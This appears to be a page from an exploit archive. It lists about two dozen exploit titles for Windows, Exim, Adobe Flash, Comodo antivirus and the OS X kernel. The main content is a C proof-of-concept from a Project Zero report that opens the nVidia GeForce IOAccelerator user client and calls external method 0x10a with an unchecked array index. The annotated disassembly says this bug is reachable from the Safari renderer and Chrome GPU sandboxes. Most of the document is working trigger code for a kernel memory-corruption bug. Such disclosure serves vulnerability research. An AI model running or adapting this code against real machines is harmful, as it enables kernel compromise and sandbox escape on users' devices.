dfc00ffd48
22 new exploits Windows NDProxy - Privilege Escalation XP SP3 x86 and 2003 SP2 x86 (MS14-002) Windows XP SP3 x86 and 2003 SP2 x86 - NDProxy Privilege Escalation (MS14-002) exim <= 4.84-3 - Local Root Exploit Exim <= 4.84-3 - Local Root Exploit CoolPlayer (Standalone) build 2.19 - .m3u Stack Overflow OS X / iOS Suid Binary Logic Error Kernel Code Execution Multiple CCTV-DVR Vendors - Remote Code Execution MiCollab 7.0 - SQL Injection Vulnerability Comodo Antivirus Forwards Emulated API Calls to the Real API During Scans Avira - Heap Underflow Parsing PE Section Headers Comodo - PackMan Unpacker Insufficient Parameter Validation Comodo - LZMA Decoder Heap Overflow via Insufficient Parameter Checks Comodo - Integer Overlow Leading to Heap Overflow Parsing Composite Documents Wireshark - dissect_ber_integer Static Out-of-Bounds Write Comodo - Integer Overflow Leading to Heap Overflow in Win32 Emulation Comodo Antivirus - Heap Overflow in LZX Decompression OS X Kernel - Code Execution Due to Lack of Bounds Checking in AppleUSBPipe::Abort Adobe Flash - Shape Rendering Crash Adobe Flash - Zlib Codec Heap Overflow Adobe Flash - Sprite Creation Use-After-Free Adobe Flash - Uninitialized Stack Parameter Access in AsBroadcaster.broadcastMessage UaF Fix Adobe Flash - Uninitialized Stack Parameter Access in Object.unwatch UaF Fix Adobe Flash - Uninitialized Stack Parameter Access in MovieClip.swapDepths UaF Fix OS X Kernel - AppleKeyStore Use-After-Free OS X Kernel - Unchecked Array Index Used to Read Object Pointer Then Call Virtual Method in nVidia Geforce Driver OS X Kernel Use-After-Free and Double Delete Due to Incorrect Locking in Intel GPU Driver
147 lines
4.4 KiB
C
Executable file
147 lines
4.4 KiB
C
Executable file
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=709
|
|
|
|
nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
|
|
It takes a single uint argument
|
|
|
|
__text:000000000001BCD2 mov r14d, esi
|
|
...
|
|
__text:000000000001BD08 and r14d, 7FFFFFFFh <-- clear upper bit
|
|
__text:000000000001BD0F mov rax, [r15+168h]
|
|
__text:000000000001BD16 mov rdi, [rax+r14*8] <-- use as array index
|
|
__text:000000000001BD1A test rdi, rdi
|
|
__text:000000000001BD1D jz short loc_1BD2C
|
|
__text:000000000001BD1F mov rax, [rdi] <-- read vtable
|
|
__text:000000000001BD22 call qword ptr [rax+28h] <-- call OSObject::release
|
|
|
|
This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)
|
|
|
|
This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
|
|
*/
|
|
|
|
//ianbeer
|
|
|
|
// build: clang -o nv_oob nv_oob.c -framework IOKit
|
|
// tested on MacBookPro 10,1 w/10.11.3 (15D21) - if you test on machine with a different graphics setup then make you open the correct user client :)
|
|
|
|
/*
|
|
OS X Kernel unchecked array index used to read object pointer then call virtual method in nvdia geforce driver
|
|
|
|
nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
|
|
It takes a single uint argument
|
|
|
|
__text:000000000001BCD2 mov r14d, esi
|
|
...
|
|
__text:000000000001BD08 and r14d, 7FFFFFFFh <-- clear upper bit
|
|
__text:000000000001BD0F mov rax, [r15+168h]
|
|
__text:000000000001BD16 mov rdi, [rax+r14*8] <-- use as array index
|
|
__text:000000000001BD1A test rdi, rdi
|
|
__text:000000000001BD1D jz short loc_1BD2C
|
|
__text:000000000001BD1F mov rax, [rdi] <-- read vtable
|
|
__text:000000000001BD22 call qword ptr [rax+28h] <-- call OSObject::release
|
|
|
|
This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)
|
|
|
|
This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
|
|
*/
|
|
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <sys/mman.h>
|
|
|
|
#include <mach/mach.h>
|
|
#include <mach/vm_map.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
uint64_t release_device_texture(mach_port_t conn) {
|
|
kern_return_t err;
|
|
|
|
uint64_t inputScalar[16];
|
|
uint64_t inputScalarCnt = 0;
|
|
|
|
char inputStruct[4096];
|
|
size_t inputStructCnt = 0;
|
|
|
|
uint64_t outputScalar[16];
|
|
uint32_t outputScalarCnt = 0;
|
|
|
|
char outputStruct[4096];
|
|
size_t outputStructCnt = 0;
|
|
|
|
inputScalarCnt = 1;
|
|
inputStructCnt = 0;
|
|
|
|
outputScalarCnt = 0;
|
|
outputStructCnt = 0;
|
|
|
|
inputScalar[0] = 0x0f0f0f0f;
|
|
|
|
err = IOConnectCallMethod(
|
|
conn,
|
|
0x10a,
|
|
inputScalar,
|
|
inputScalarCnt,
|
|
inputStruct,
|
|
inputStructCnt,
|
|
outputScalar,
|
|
&outputScalarCnt,
|
|
outputStruct,
|
|
&outputStructCnt);
|
|
|
|
if (err != KERN_SUCCESS){
|
|
printf("IOConnectCall error: %x\n", err);
|
|
} else{
|
|
printf("worked?\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
mach_port_t get_user_client(char* name, int type) {
|
|
kern_return_t err;
|
|
|
|
CFMutableDictionaryRef matching = IOServiceMatching(name);
|
|
if(!matching){
|
|
printf("unable to create service matching dictionary\n");
|
|
return 0;
|
|
}
|
|
|
|
io_iterator_t iterator;
|
|
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
|
if (err != KERN_SUCCESS){
|
|
printf("no matches\n");
|
|
return 0;
|
|
}
|
|
|
|
io_service_t service = IOIteratorNext(iterator);
|
|
|
|
if (service == IO_OBJECT_NULL){
|
|
printf("unable to find service\n");
|
|
return 0;
|
|
}
|
|
printf("got service: %x\n", service);
|
|
|
|
|
|
io_connect_t conn = MACH_PORT_NULL;
|
|
err = IOServiceOpen(service, mach_task_self(), type, &conn);
|
|
if (err != KERN_SUCCESS){
|
|
printf("unable to get user client connection\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("got userclient connection: %x\n", conn);
|
|
|
|
return conn;
|
|
}
|
|
|
|
|
|
|
|
int main(int argc, char** argv){
|
|
mach_port_t gl_context = get_user_client("IOAccelerator", 5);
|
|
release_device_texture(gl_context);
|
|
return 0;
|
|
|
|
}
|